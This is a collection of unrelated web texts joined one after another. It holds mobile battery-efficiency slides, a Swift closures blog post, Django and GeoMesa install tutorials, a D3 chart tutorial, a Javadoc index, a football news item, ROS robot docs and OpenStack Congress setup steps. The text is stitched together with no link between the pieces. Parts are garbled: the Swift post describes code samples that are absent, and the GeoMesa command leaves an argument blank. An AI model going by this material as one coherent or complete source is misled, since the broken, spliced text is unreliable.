Strategies for building and testing battery-efficient mobile apps
Aaron Pulver
@apulverizer
## Your app is killing my battery!
## So many questions to ask...
## What do you mean by "poor battery life?"
## What baseline are you comparing it to?
## How is the device being used?
## What other apps are being used?
## How do you know that it's {app} that is causing poor battery life?
## How old is your device?
## What is the model and operating system of your device?
## What type of network and cellular coverage did you have?
## We can only change things we control * Network requests * Location requests * File I/O * Device wakes * UI refresh rates * Reacting to "Low Power Mode"
## Network Requests & Battery Life
* Data transmission takes energy * Poor signal requires the radio to transmit at a higher power * For a typical 3G device, every data transfer session will cause the radio to draw energy for almost 20 seconds.
## So what can we do about it? * Group network requests together * Radio is already powered up * Leverage network monitoring * Make requests only when server is reachable
## Location & Battery Life * The on-device GPS receiver uses a significant amount of energy * Location can be derived from a variety of sources * GPS receiver * Wi-Fi * Cellular Tower Triangulation * Other sensors * Both Google and Apple provide "fused" location services
## So what can we do about it? * Only request the accuracy you application needs * Balanced, Best, Worst, Region Monitoring... * Shutdown the GPS when it's not needed * Do you need the users location when a map is not displayed? * Do you need location in the background? * Can you use proximity notifications or geofencing
## What else can we do to optimize battery life? * Minimize data writes to files * Use Core Data, Rooms, SQLite... * Minimize device wakes * High overhead to waking up a device * Minimize timers and use tolerances for them * Minimize screen refreshing * Does the user always need to centered perfectly on the map? * Change app behavior when app enters "Low Power Mode"
## How do I test this stuff? * You could use multiple, identical devices with different branches * Use monitoring tools to profile energy usage * [Battery Historian/Android Studio](https://github.com/google/battery-historian) * [Instruments/Xcode](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/EnergyGuide-iOS/MonitorEnergyWithInstruments.html#//apple_ref/doc/uid/TP40015243-CH33-SW1)
## Instruments
## Battery Historian


Swift is Actually Cool!
19 Aug 2015Who knew?
I’ve written disparagingly about Swift in the past, but as I dig deeper and deeper into the language, and with the new 2.0 version just out, I’ve come to like it more and more.
Closures
Something that is really cool are closures. Closures are like mini functions that get passed as a parameter to another function. Yeah, sounds weird, I know but they’re great.  They’re called blocks
in other languages like Objective-C.
Does this look familiar?
This will print out:
Tony is my name
Janis is my name
Sasha is my name
Joe is my name
The .map()
method is a great example because it actually takes a closure as its sole parameter. I bet you didn’t know that. I didn’t. I’ve been using .map
for years in Ruby without knowing that what was inside of it was a lambda (closure). Studying the Swift guide has given me a much better appreciation for closures and how cool they are.
Take this bit of simple code for example:
Which will return [4, 24, 14, 10]
This can be written in a single line of code with a closure like so:
[4, 24, 14, 10]
Isn’t that awesome?
But what’s going on there? It’s not as crazy as it looks.
.map()
takes an array and acts upon each item in the array, then it returns a new array with whatever changes we’ve made inside the.map()
parentheses- The
$0
refers to the first argument that is passed, which in the case of.map
will be each item in the array, so for each item it’s doing something - That something is simply multiplying the item by 2
The verbose way of writing that closure is like this:
So you see, a closure is like a function:
- it has parameters, in this case a parameter named
number
of typeInt
- it has a return value, another
Int
(-> Int
is how Swift declares return types) - and then, instead of curly braces for the body of the function, it has the
in
keyword - then the actual body, what we want this closure to do
Since Swift is pretty good at inferring stuff, we can let it infer the parameter type, and the return type.
If we were to only infer the return type, it would look like this:
But we let it infer both parameter type and return type and we use the $0
trick to grab the first parameter without having to declare it or give it a name. The result, as we saw above is this:
Perhaps a slightlly more readable version might be this:
In this case, it is much more apparent what the first (and only) parameter is and what is happening to it. It still does the same thing as the line above, but I think this is more readable, and readable code will always triumph over shorter, more cryptic code.
Oh, and notice that we can also omit the parentheses after the .map
method and just include the closure after it inside curly braces. This is known as trailing closures
and is the way Ruby uses them. Looks much nicer.
UIView Animations
The animations in UIView
are also a good example of closure usage.
Here, animations:
takes a closure that returns nothing (-> Void
) and we have another closure at the end which is the completion block.
Note that all the magic is happening inside the animateWithDuration()
method, we are passing closures inside of it.
This can be further optimized by having Swift infer the return type of the animations:
closure and by removing the completion block since it’s not being used, resulting in this:
Much easier to read.
So don’t be afraid of closures, they’re great, they just take a little getting used to.
Oh, and incidentally, regular functions in Swift are themselves closures! What??? True, look it up.
Learn more at Bitfountain courses.


This document will guide you through installing Python 3.5 and Django on Windows. It also provides instructions for installing virtualenv and virtualenvwrapper, which make it easier to work on Python projects. This is meant as a beginner’s guide for users working on Django projects and does not reflect how Django should be installed when developing patches for Django itself.
The steps in this guide have been tested with Windows 7, 8, and 10. In other versions, the steps would be similar. You will need to be familiar with using the Windows command prompt.
Django is a Python web framework, thus requiring Python to be installed on your machine. At the time of writing, Python 3.5 is the latest version.
To install Python on your machine go to https://python.org/downloads/. The
website should offer you a download button for the latest Python version.
Download the executable installer and run it. Check the box next to Add
Python 3.5 to PATH
and then click Install Now
.
After installation, open the command prompt and check that the Python version matches the version you installed by executing:
python --version
pip
¶pip is a package manage for Python. It makes installing and uninstalling
Python packages (such as Django!) very easy. For the rest of the installation,
we’ll use pip
to install Python packages from the command line.
To install pip on your machine, go to
https://pip.pypa.io/en/latest/installing/, and follow the Installing with
get-pip.py
instructions.
virtualenv
and virtualenvwrapper
¶virtualenv and virtualenvwrapper provide a dedicated environment for each Django project you create. While not mandatory, this is considered a best practice and will save you time in the future when you’re ready to deploy your project. Simply type:
pip install virtualenvwrapper-win
Then create a virtual environment for your project:
mkvirtualenv myproject
The virtual environment will be activated automatically and you’ll see “(myproject)” next to the command prompt to designate that. If you start a new command prompt, you’ll need to activate the environment again using:
workon myproject
Django can be installed easily using pip
within your virtual environment.
In the command prompt, ensure your virtual environment is active, and execute the following command:
pip install django
This will download and install the latest Django release.
After the installation has completed, you can verify your Django installation
by executing django-admin --version
in the command prompt.
See Get your database running for information on database installation with Django.
If django-admin
only displays the help text no matter what arguments
it is given, there is probably a problem with the file association in
Windows. Check if there is more than one environment variable set for
running Python scripts in PATH
. This usually occurs when there is more
than one Python version installed.
If you are connecting to the internet behind a proxy, there might be problem
in running the command pip install django
. Set the environment variables
for proxy configuration in the command prompt as follows:
set http_proxy=http://username:password@proxyserver:proxyport
set https_proxy=https://username:password@proxyserver:proxyport
Oct 01, 2019


GeoMesa Accumulo Quick Start¶
This tutorial is the fastest and easiest way to get started with GeoMesa. It is a good stepping-stone on the path to the other tutorials that present increasingly involved examples of how to use GeoMesa.
In the spirit of keeping things simple, the code in this tutorial only does a few small things:
- establishes a new (static) SimpleFeatureType
- prepares the Accumulo table to store this type of data
- creates a few hundred example SimpleFeatures
- writes these SimpleFeatures to the Accumulo table
- queries for a given geographic rectangle, time range, and attribute filter, writing out the entries in the result set
The only dynamic element in the tutorial is the Accumulo destination; that is a property that you provide on the command-line when running the code.
Prerequisites¶
Before you begin, you must have the following:
- an instance of Accumulo 1.5, 1.6, or 1.7 running on Hadoop 2.2 or better
- an Accumulo user that has both create-table and write permissions
- the GeoMesa Accumulo distributed runtime installed for your Accumulo instance (see Installing the Accumulo Distributed Runtime Library )
- a local copy of the Java JDK 8
- Apache Maven installed
- a GitHub client installed
Download and Build the Tutorial¶
Pick a reasonable directory on your machine, and run:
$ git clone https://github.com/geomesa/geomesa-tutorials.git
$ cd geomesa-tutorials
To build, run
$ mvn clean install -pl geomesa-quickstart-accumulo
Note
Ensure that the version of Accumulo, Hadoop, etc in
the root pom.xml
match your environment.
Note
Depending on the version, you may also need to build GeoMesa locally. Instructions can be found in Installation and Configuration.
About this Tutorial¶
The QuickStart operates by inserting and then querying 1000 features. After the insertions are complete, a sequence of queries are run to demonstrate different types of queries possible via the GeoTools API.
Run the Tutorial¶
On the command-line, run:
$ java -cp geomesa-quickstart-accumulo/target/geomesa-quickstart-accumulo-${geomesa.version}.jar \
com.example.geomesa.accumulo.AccumuloQuickStart \
-instanceId <instance> \
-zookeepers <zookeepers> \
-user <user> \
-password <password> \
-tableName

where you provide the following arguments:
<instance>
the name of your Accumulo instance<zookeepers>
your Zookeeper nodes, separated by commas<user>
the name of an Accumulo user that has permissions to create, read and write tables<password>
the password for the previously-mentioned Accumulo user

the name of the destination table that will accept these test records; this table should either not exist or should be empty
Warning
If you have set up the GeoMesa Accumulo distributed
runtime to be isolated within a namespace (see
For Accumulo 1.6+) the value of

should include the namespace (e.g. myNamespace.geomesa
).
You should see output similar to the following (not including some of Maven’s output and log4j’s warnings):
Creating feature-type (schema): QuickStart
Creating new features
Inserting new features
Submitting query
1. Bierce|640|Sun Sep 14 15:48:25 EDT 2014|POINT (-77.36222958792739 -37.13013846773835)|null
2. Bierce|886|Tue Jul 22 14:12:36 EDT 2014|POINT (-76.59795732474399 -37.18420917493149)|null
3. Bierce|925|Sun Aug 17 23:28:33 EDT 2014|POINT (-76.5621106573523 -37.34321201566148)|null
4. Bierce|589|Sat Jul 05 02:02:15 EDT 2014|POINT (-76.88146600670152 -37.40156607152168)|null
5. Bierce|394|Fri Aug 01 19:55:05 EDT 2014|POINT (-77.42555615743139 -37.26710898726304)|null
6. Bierce|931|Fri Jul 04 18:25:38 EDT 2014|POINT (-76.51304097832912 -37.49406125975311)|null
7. Bierce|322|Tue Jul 15 17:09:42 EDT 2014|POINT (-77.01760098223343 -37.30933767159561)|null
8. Bierce|343|Wed Aug 06 04:59:22 EDT 2014|POINT (-76.66826220670282 -37.44503877750368)|null
9. Bierce|259|Thu Aug 28 15:59:30 EDT 2014|POINT (-76.90122194030118 -37.148525741002466)|null
Submitting secondary index query
Feature ID Observation.859 | Who: Bierce
Feature ID Observation.355 | Who: Bierce
Feature ID Observation.940 | Who: Bierce
Feature ID Observation.631 | Who: Bierce
Feature ID Observation.817 | Who: Bierce
Submitting secondary index query with sorting (sorted by 'What' descending)
Feature ID Observation.999 | Who: Addams | What: 999
Feature ID Observation.996 | Who: Addams | What: 996
Feature ID Observation.993 | Who: Addams | What: 993
Feature ID Observation.990 | Who: Addams | What: 990
Feature ID Observation.987 | Who: Addams | What: 987
The quick start code may also be run via Maven using the live-test
profile:
$ mvn -Plive-test exec:exec -DinstanceId=<instance> -Dzookeepers=<zookeepers> -Duser=<user> -Dpassword=<password> -DtableName=<tableName>
Looking at the Code¶
The source code is meant to be accessible for this tutorial, but here is
a high-level breakdown of the methods in the AccumuloQuickStart
class that are relevant:
getCommonRequiredOptions
helper code to establish the command-line parser for Accumulo optionsgetAccumuloDataStoreConf
create aHashMap
of Accumulo parameters that will be used to fetch aDataStore
createSimpleFeatureType
defines the customFeatureType
used in the tutorial. There are five fields: Who, What, When, Where, and Why.createNewFeatures
creates a collection of new features, each of which is initialized to some randomized set of valuesinsertFeatures
instructs theDataStore
to write the collection of new features to the GeoMesa-managed Accumulo tablecreateFilter
given a set of geometric bounds, temporal bounds, and an optional attribute-only expression, construct a common query language (CQL) filter that embodies these constraints. This filter will be used to query data.queryFeatures
query for records; for each, print out the five field (attribute) valuessecondaryIndexExample
additional examples that build other CQL queriesmain
this is the main entry point; it collects command-line parameters, builds theDataStore
, creates and inserts new records, and then kicks off a single query
Visualize Data With GeoServer¶
Register the GeoMesa store with GeoServer¶
Log into GeoServer using your user and password credentials. Click “Stores” and “Add new Store”. If you do not see the Accumulo Feature Data Store listed under Vector Data Sources, ensure the plugin is in the right directory and restart GeoServer.
Select the Accumulo Feature Data Store
vector data source, and enter
the following parameters:
- basic store info
workspace
this is dependent upon your GeoServer installationdata source name
pick a sensible name, such as,geomesa_quick_start
description
this is strictly decorative;GeoMesa quick start
- connection parameters
- these are the same parameter values that you supplied on the command-line when you ran the tutorial; they describe how to connect to the Accumulo instance where your data reside
Click “Save”, and GeoServer will search your Accumulo table for any GeoMesa-managed feature types.
Publish the layer¶
GeoServer should recognize the QuickStart
feature type, and should
present that as a layer that could be published. Click on the “Publish”
link.
You will be taken to the Edit Layer screen. Two of the tabs need to be updated: Data and Dimensions.
In the Data pane, enter values for the bounding boxes. In this case, you can click on the link to compute these values from the data.
In the Dimensions tab, check the “Enabled” checkbox under Time. Then select “When” in the Attribute and End Attribute dropdowns, and “Continuous Interval” in the Presentation dropdown.
Click on the “Save” button when you are done.
Take a look¶
Click on the “Layer Preview” link in the left-hand gutter. If you don’t see the quick-start layer on the first page of results, enter the name of the layer you just created into the search box, and press <Enter>.
Once you see your layer, click on the “OpenLayers” link, which will open a new tab. By default, the display that opens will not show all the data, because we have enabled the time dimension for this layer, but the preview does not specify a time. In the URL bar for the visualization, add the following to the end:
&TIME=2014-01-01T00:00:00.000Z/2014-01-31T23:59:59.999Z
That tells GeoServer to display the records for the entire month of January 2014. You can find more information about the TIME parameter from GeoServer’s documentation.
Once you press <Enter>, the display will update, and you should see a collection of red dots similar to the following image.
Tweaking the display¶
Here are just a few simple ways you can play with the visualization:
- Click on one of the red points in the display, and GeoServer will report the detail records underneath the map area.
- Shift-click to highlight a region within the map that you would like to zoom into.
- Alter the
TIME=
parameter in the URL to a different date range, and you can filter to see only the records that satisfy the temporal constraint. - Click on the “Toggle options toolbar” icon in the upper-left corner
of the preview window. The right-hand side of the screen will include
a “Filter” text box. Enter
Who = 'Bierce'
, and press on the “play” icon. The display will now show only those points matching your filter criterion. This is a CQL filter, which can be constructed in various ways to query our data. You can find more information about CQL from GeoServer’s CQL tutorial.
Generating Heatmaps¶
- To try out the DensityIterator, you can install the Heatmap SLD from the Map-Reduce Ingest of GDELT tutorial.
- After configuring the SLD, in the URL, change
styles=
to bestyles=heatmap&density=true
. Once you press <Enter>, the display will change to a density heat-map.
Note
For this to work, you will have to first install the WPS module for GeoServer as described in GeoMesa GeoServer Plugins.


Translate to Pig Latin!
Enter a sentence or word and we will translate it to Pig Latin for you.
Submit


It is intended that when complete, the contents of this website will be available in three formats, each with identical content. Users will then bookmark one of the three contents pages, and see the material in a format that suits their personal taste and their browsers capabilities.
The material that is now presented in the tables format is believed to be complete and stable.
By clicking here, you can see a mock-up of what the simple (i.e. non-tables) format will look like.


Info box test page
What is Lorem Ipsum?
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Open InfoBox
Create InfoBox


Tests run automatically on page load and will report their result with a message box.
Edit msgpack-tests.js to play with the tests.


The SVG viewBox
attribute is a great way to make D3 charts responsive to window resizing. Let's look at an example of a bar chart about customers' dessert preference. Here's the data:
var desserts = ["Cookies","Cupcakes","Ice Cream Cones","Muffins"];
var customers = [34,41,52,18];
Let's start with a non-responsive chart. First, we set up our margins and prepare an SVG element to draw on:
var margin = {top: 10, right: 10, bottom: 120, left: 30};
var width = 300 - margin.left - margin.right;
var height = 300 - margin.top - margin.bottom;
//A non-responsive chart area
var chart = d3.select("#chart-div")
.append("svg")
.attr("width",width+margin.left+margin.right)
.attr("height",height+margin.top+margin.bottom)
.append("g")
.attr("transform","translate("+
margin.left+","+margin.top+")");
Now, we set up the scales and axes:
//Define the x and y scales
var x = d3.scale.ordinal()
.domain(desserts)
.rangePoints([0,width],1);
var y = d3.scale.linear()
.domain([0,60])
.range([height,0]);
//Define the x and y axes
var xAxis = d3.svg.axis()
.scale(x)
.orient("bottom");
var yAxis = d3.svg.axis()
.scale(y)
.orient("left");
Finally, add the axes and bars to our chart area:
//Add the x axis, rotate the labels
chart.append("g")
.attr("transform", "translate(0,"+height+")")
.call(xAxis)
.selectAll("text")
.attr("transform", "rotate(-65)")
.style("text-anchor", "end");
//Add the y axis
chart.append("g")
.call(yAxis);
//Add the bars
chart.selectAll("bars")
.data(desserts).enter()
.append("rect")
.attr("x",function (d) { return x(d)-20; })
.attr("y",function (d,i) { return y(customers[i]); })
.attr("height",function (d,i) { return height-y(customers[i]); })
.attr("width",50);
Here's our non-responsive chart in a JSFiddle. Notice the blue border around the div
element, and notice that the chart doesn't change if you resize the window.
Now the fun part! To make our chart responsive, we just need to change a few lines in our definition of the chart
area:
//A responsive chart area
var chart = d3.select("#chart-div")
.append("svg")
.attr("width","100%")
.attr("viewBox","0 0 "+
(width+margin.left+margin.right)+
" "+
(height+margin.top+margin.bottom) )
.append("g")
.attr("transform","translate("+
margin.left+","+margin.top+")");
Now we're defining the chart
area to be the width of our div
. Sometimes that width might be 100 pixels, and sometimes it might be 800 pixels. The viewBox
attribute tells the browser that--no matter the actual width of the chart
area--we want to work with a single coordinate system. Our coordinate system goes from 0 to width + margin.left + margin.right
in the x direction, and from 0 to height + margin.top + margin.bottom
in the y direction.
Here it is in a JSFiddle. Notice how the chart responds to width resizes, but how it will still outgrow the height of our div
.
What happens when we set both the width and height of chart
to be 100% or our div
? By default, the browser will preserve the aspect ratio of the drawing, so you will get the largest possible chart that fits into both the width and height of the div
. See it in this fiddle:
Sometimes we may want our chart to skew in order to fill the entire div
. In that case, we just add .attr("preserveAspectRatio","none")
to our definition of chart
. Here it is in a fiddle:
Although our example looked at a bar chart, the viewBox
technique works for many types of figures generated with D3.
Here's a great tutorial on the SVG viewBox: http://jonibologna.com/svg-viewbox-and-viewport/


Express yourself and make a positive impact on someone who you care and respect in your workplace!
Sign Up
Short, specific, pertinent
Recent or current interactions
Open, honest, direct


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
F
G
I
M
O
P
R
S
T
U
V
A
ableToExtractPaymentTransferOrderFromQueueAndProcess()
- Method in class com.banking.payment.repository.
PaymentOrderProcessorTest
AbstractPaymentOrder
- Class in
com.banking.payment.repository
AbstractPaymentOrder()
- Constructor for class com.banking.payment.repository.
AbstractPaymentOrder
AbstractPaymentOrder(UUID, BigDecimal)
- Constructor for class com.banking.payment.repository.
AbstractPaymentOrder
acceptDepositPaymentOrder(DepositPaymentOrder)
- Method in class com.banking.payment.repository.
PaymentRepository
acceptDepositPaymentOrder(DepositPaymentOrder)
- Method in class com.banking.payment.service.
PaymentService
acceptFundTransferPaymentOrder(FundTransferPaymentOrder)
- Method in class com.banking.payment.repository.
PaymentRepository
acceptFundTransferPaymentOrder(FundTransferPaymentOrder)
- Method in class com.banking.payment.service.
PaymentService
Account
- Class in
com.banking.account.repository
accountBalance(UUID)
- Method in class com.banking.account.resource.
AccountResource
accountBalance(UUID)
- Method in class com.banking.payment.resource.
PaymentResource
AccountNotFoundException
- Exception in
com.banking.account.exception
AccountNotFoundException(UUID)
- Constructor for exception com.banking.account.exception.
AccountNotFoundException
AccountNotFoundExceptionMapper
- Class in
com.banking.account.exception
AccountNotFoundExceptionMapper()
- Constructor for class com.banking.account.exception.
AccountNotFoundExceptionMapper
AccountRepository
- Class in
com.banking.account.repository
AccountRepository()
- Constructor for class com.banking.account.repository.
AccountRepository
AccountRepositoryTest
- Class in
com.banking.account.repository
AccountRepositoryTest()
- Constructor for class com.banking.account.repository.
AccountRepositoryTest
AccountResource
- Class in
com.banking.account.resource
AccountResource(AccountService)
- Constructor for class com.banking.account.resource.
AccountResource
AccountService
- Class in
com.banking.account.service
AccountService(AccountRepository)
- Constructor for class com.banking.account.service.
AccountService
AccountServiceTest
- Class in
com.banking.account.service
AccountServiceTest()
- Constructor for class com.banking.account.service.
AccountServiceTest
AccountTest
- Class in
com.banking.account.repository
AccountTest()
- Constructor for class com.banking.account.repository.
AccountTest
amount
- Variable in class com.banking.payment.repository.
AbstractPaymentOrder
Application
- Class in
com.banking
Application()
- Constructor for class com.banking.
Application
A
B
C
D
F
G
I
M
O
P
R
S
T
U
V
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


Tottenham Hotspur boss Jose Mourinho 'decides not to spend in January'
Jose Mourinho has allegedly told Tottenham Hotspur that he does not need to spend big money during the January transfer window.
by Darren PlantAfter being appointed as the successor to Mauricio Pochettino, Mourinho has been tipped to make a number of additions at the beginning of 2020.
However, according to the Daily Mail, the Portuguese is prepared to work with the current first-team squad at the north London outfit.
The report says that Mourinho wants to place more priority on securing the long-term future of Christian Eriksen, who has less than a year left on his contract.
The Denmark international is one of several senior players whose deals expire at the end of the season.
Mourinho will take charge of his first game on Saturday as Spurs take on West Ham United at the London Stadium.
body check tags ::


node_t5_ur5_2¶
Controls the UR5 near the bins to pick up boxes from the conveyor.
Borrows methods from lib_task5
to aid execution, and uses
multithreading to operate the UR5_2 and conveyor simultaneously.
-
class
node_t5_ur5_2.
UR5Two
[source]¶ Class for the module.
Variables: - package_pos (float) – Stores the conveyor position of the detected box.
- package_name (str) – Stores models’ names from
camera_callback()
. - package_colours (list(str)) – Stores package colours from
package_callback()
. - ready_flag (bool) – Start-stop variable for operation of the UR5_2.
- order (dict) – The current order to be shipped.
- sub_package_colour (rospy.Subscriber) – Subscriber to receive the list of colours from the Logical Camera.
-
camera_callback
(msg_camera)[source]¶ Callback function for Conveyor Logical Camera Subscriber
Parameters: msg_camera (LogicalCameraImage) – Data about all the objects detected by the Logical Camera.
-
order_callback
(msg_order)[source]¶ Callback function to receive the data of the currently dispatched order from UR5_1.
Parameters: msg_order (str) – A JSON string dump of the order data dictionary.
-
node_t5_ur5_2.
box_plan
(box_name, box_length, vacuum_gripper_width)[source]¶ Pick-planning for the boxes.
Parameters:


Team and repository tags¶
Congress Introduction and Installation¶
1. What is Congress¶
Congress is an open policy framework for the cloud. With Congress, a cloud operator can declare, monitor, enforce, and audit “policy” in a heterogeneous cloud environment. Congress gets inputs from a cloud’s various cloud services; for example in OpenStack, Congress fetches information about VMs from Nova, and network state from Neutron, etc. Congress then feeds input data from those services into its policy engine where Congress verifies that the cloud’s actual state abides by the cloud operator’s policies. Congress is designed to work with any policy and any cloud service.
2. Why is Policy Important¶
The cloud is a collection of autonomous services that constantly change the state of the cloud, and it can be challenging for the cloud operator to know whether the cloud is even configured correctly. For example,
- The services are often independent from each other and do not support transactional consistency across services, so a cloud management system can change one service (create a VM) without also making a necessary change to another service (attach the VM to a network). This can lead to incorrect behavior.
- Other times, we have seen a cloud operator allocate cloud resources and then forget to clean them up when the resources are no longer in use, effectively leaving garbage around the system and wasting resources.
- The desired cloud state can also change over time. For example, if a security vulnerability is discovered in Linux version X, then all machines with version X that were ok in the past are now in an undesirable state. A version number policy would detect all the machines in that undesirable state. This is a trivial example, but the more complex the policy, the more helpful a policy system becomes.
Congress’s job is to help people manage that plethora of state across all cloud services with a succinct policy language.
3. Using Congress¶
Setting up Congress involves writing policies and configuring Congress to fetch input data from the cloud services. The cloud operator writes policy in the Congress policy language, which receives input from the cloud services in the form of tables. The language itself resembles datalog. For more detail about the policy language and data format see Policy.
To add a service as an input data source, the cloud operator configures a Congress “driver,” and the driver queries the service. Congress already has drivers for several types of service, but if a cloud operator needs to use an unsupported service, she can write a new driver without much effort and probably contribute the driver to the Congress project so that no one else needs to write the same driver.
Finally, when using Congress, the cloud operator must choose what Congress should do with the policy it has been given:
- monitoring: detect violations of policy and provide a list of those violations
- proactive enforcement: prevent violations before they happen (functionality that requires other services to consult with Congress before making changes)
- reactive enforcement: correct violations after they happen (a manual process that Congress tries to simplify)
In the future, Congress will also help the cloud operator audit policy (analyze the history of policy and policy violations).
Congress is free software and is licensed with Apache.
- Free software: Apache license
4. Installing Congress¶
There are 2 ways to install Congress.
- As part of DevStack. Get Congress running alongside other OpenStack services like Nova and Neutron, all on a single machine. This is a great way to try out Congress for the first time.
- Separate install. Get Congress running alongside an existing OpenStack deployment
4.1 Devstack-install¶
For integrating Congress with DevStack:
- Download DevStack
$ git clone https://git.openstack.org/openstack-dev/devstack.git
$ cd devstack
- Configure DevStack to use Congress and any other service you want. To do that, modify
the
local.conf
file (inside the DevStack directory). Here is what our file looks like:
[[local|localrc]]
enable_plugin congress http://git.openstack.org/openstack/congress
enable_plugin heat http://git.openstack.org/openstack/heat
enable_plugin aodh http://git.openstack.org/openstack/aodh
enable_plugin ceilometer http://git.openstack.org/openstack/ceilometer
enable_service s-proxy s-object s-container s-account
- Run
stack.sh
. The default configuration expects the passwords to be ‘password’ without the quotes
$ ./stack.sh
4.2 Separate install¶
Install the following software, if you haven’t already.
- python 2.7: https://www.python.org/download/releases/2.7/
- pip: https://pip.pypa.io/en/latest/installing.html
- java: http://java.com (any reasonably current version should work) On Ubuntu: console apt-get install default-jre
- Additionally
$ sudo apt-get install git gcc python-dev python-antlr3 libxml2 libxslt1-dev libzip-dev build-essential libssl-dev libffi-dev
$ sudo apt install python-setuptools
$ sudo pip install --upgrade pip virtualenv pbr tox
Clone Congress
$ git clone https://github.com/openstack/congress.git
$ cd congress
Install requirements
$ sudo pip install .
Install Source code
$ sudo python setup.py install
Configure Congress (Assume you put config files in /etc/congress)
$ sudo mkdir -p /etc/congress
$ sudo mkdir -p /etc/congress/snapshot
$ sudo cp etc/api-paste.ini /etc/congress
$ sudo cp etc/policy.json /etc/congress
Generate a configuration file as outlined in the Configuration Options section of the Deployment document. Note: you may have to run the command with sudo.
There are several sections in the congress/etc/congress.conf.sample file you may want to change:
- [DEFAULT] Section
- drivers
- auth_strategy
- “From oslo.log” Section
- log_file
- log_dir (remember to create the directory)
- [database] Section
- connection
Add drivers:
drivers = congress.datasources.neutronv2_driver.NeutronV2Driver,congress.datasources.glancev2_driver.GlanceV2Driver,congress.datasources.nova_driver.NovaDriver,congress.datasources.keystone_driver.KeystoneDriver,congress.datasources.ceilometer_driver.CeilometerDriver,congress.datasources.cinder_driver.CinderDriver,congress.datasources.swift_driver.SwiftDriver,congress.datasources.plexxi_driver.PlexxiDriver,congress.datasources.vCenter_driver.VCenterDriver,congress.datasources.murano_driver.MuranoDriver,congress.datasources.ironic_driver.IronicDriver
The default auth_strategy is keystone. To set Congress to use no authorization strategy:
auth_strategy = noauth
If you use noauth, you might want to delete or comment out the [keystone_authtoken] section.
Set the database connection string in the [database] section (adapt MySQL root password):
connection = mysql+pymysql://root:password@<IP_ADDRESS>/congress?charset=utf8
To use RabbitMQ with Congress, set the transport_url in the “From oslo.messaging” section according to your setup:
transport_url = rabbit://$RABBIT_USERID:$RABBIT_PASSWORD@$RABBIT_HOST:5672
A bare-bones congress.conf is as follows:
[DEFAULT]
auth_strategy = noauth
drivers = congress.datasources.neutronv2_driver.NeutronV2Driver,congress.datasources.glancev2_driver.GlanceV2Driver,congress.datasources.nova_driver.NovaDriver,congress.datasources.keystone_driver.KeystoneDriver,congress.datasources.ceilometer_driver.CeilometerDriver,congress.datasources.cinder_driver.CinderDriver,congress.datasources.swift_driver.SwiftDriver,congress.datasources.plexxi_driver.PlexxiDriver,congress.datasources.vCenter_driver.VCenterDriver,congress.datasources.murano_driver.MuranoDriver,congress.datasources.ironic_driver.IronicDriver
log_file=congress.log
log_dir=/var/log/congress
[database]
connection = mysql+pymysql://root:password@<IP_ADDRESS>/congress?charset=utf8
When you are finished editing congress.conf.sample, copy it to the /etc/congress directory.
sudo cp etc/congress.conf.sample /etc/congress/congress.conf
Create database
$ mysql -u root -p
$ mysql> CREATE DATABASE congress;
$ mysql> GRANT ALL PRIVILEGES ON congress.* TO 'congress'@'localhost' IDENTIFIED BY 'CONGRESS_DBPASS';
$ mysql> GRANT ALL PRIVILEGES ON congress.* TO 'congress'@'%' IDENTIFIED BY 'CONGRESS_DBPASS';
Push down schema
$ sudo congress-db-manage --config-file /etc/congress/congress.conf upgrade head
- Set up Congress accounts
Use your OpenStack RC file to set and export required environment variables: OS_USERNAME, OS_PASSWORD, OS_PROJECT_NAME, OS_TENANT_NAME, OS_AUTH_URL.
(Adapt parameters according to your environment)
$ ADMIN_ROLE=$(openstack role list | awk "/ admin / { print \$2 }")
$ SERVICE_TENANT=$(openstack project list | awk "/ service / { print \$2 }")
$ CONGRESS_USER=$(openstack user create --password password --project service --email<EMAIL_ADDRESS>congress | awk "/ id / {print \$4 }")
$ openstack role add $ADMIN_ROLE --user $CONGRESS_USER --project $SERVICE_TENANT
$ CONGRESS_SERVICE=$(openstack service create policy --name congress --description "Congress Service" | awk "/ id / { print \$4 }")
- Create the Congress Service Endpoint
- Endpoint creation differs based upon the Identity version. Please see the endpoint documentation for details.
Identity v2:
$ openstack endpoint create $CONGRESS_SERVICE --region RegionOne --publicurl http://<IP_ADDRESS>:1789/ --adminurl http://<IP_ADDRESS>:1789/ --internalurl http://<IP_ADDRESS>:1789/
Identity v3:
$ openstack endpoint create --region $OS_REGION_NAME $CONGRESS_SERVICE public http://$SERVICE_HOST:1789
$ openstack endpoint create --region $OS_REGION_NAME $CONGRESS_SERVICE admin http://$SERVICE_HOST:1789
$ openstack endpoint create --region $OS_REGION_NAME $CONGRESS_SERVICE internal http://$SERVICE_HOST:1789
- Start Congress
- The default behavior is to start the Congress API, Policy Engine, and Datasource in a single node. For HAHT deployment options, please see the HA Overview document.
$ sudo /usr/local/bin/congress-server --debug
- Install the Congress Client
- The command line interface (CLI) for Congress resides in a project called python-congressclient. Follow the installation instructions on the GitHub page.
- Configure datasource drivers
- For this you must have the Congress CLI installed. Run this command for every service that Congress will poll for data. Please note that the service name $SERVICE should match the ID of the datasource driver, e.g. “neutronv2” for Neutron and “glancev2” for Glance; $OS_USERNAME, $OS_TENANT_NAME, $OS_PASSWORD and $SERVICE_HOST are used to configure the related datasource driver so that congress knows how to talk with the service.
$ openstack congress datasource create $SERVICE $"SERVICE" \
--config username=$OS_USERNAME \
--config tenant_name=$OS_TENANT_NAME
--config password=$OS_PASSWORD
--config auth_url=http://$SERVICE_HOST:5000/v2.0
- Install the Congress Dashboard in Horizon
- Follow the instructions in the README file located in the congress/congress_dashboard directory. Note: After you install the Congress Dashboard and restart apache, the OpenStack Dashboard may throw a “You have offline compression enabled...” error, follow the instructions in the error message. You may have to:
$ cd /opt/stack/horizon
$ python manage.py compress
$ sudo service apache2 restart
- Read the HTML documentation
- Install python-sphinx and the oslosphinx extension if missing and build the docs. After building, open congress/doc/html/index.html in a browser.
$ sudo pip install sphinx
$ sudo pip install oslosphinx
$ make docs
- Test Using the Congress CLI
If you are not familiar with using the OpenStack command-line clients, please read the OpenStack documentation before proceeding.
Once you have set up or obtained credentials to use the OpenStack command-line clients, you may begin testing Congress. During installation a number of policies are created.
To view policies: $ openstack congress policy list
To view installed datasources: $ openstack congress datasource list
To list available commands: $ openstack congress –help
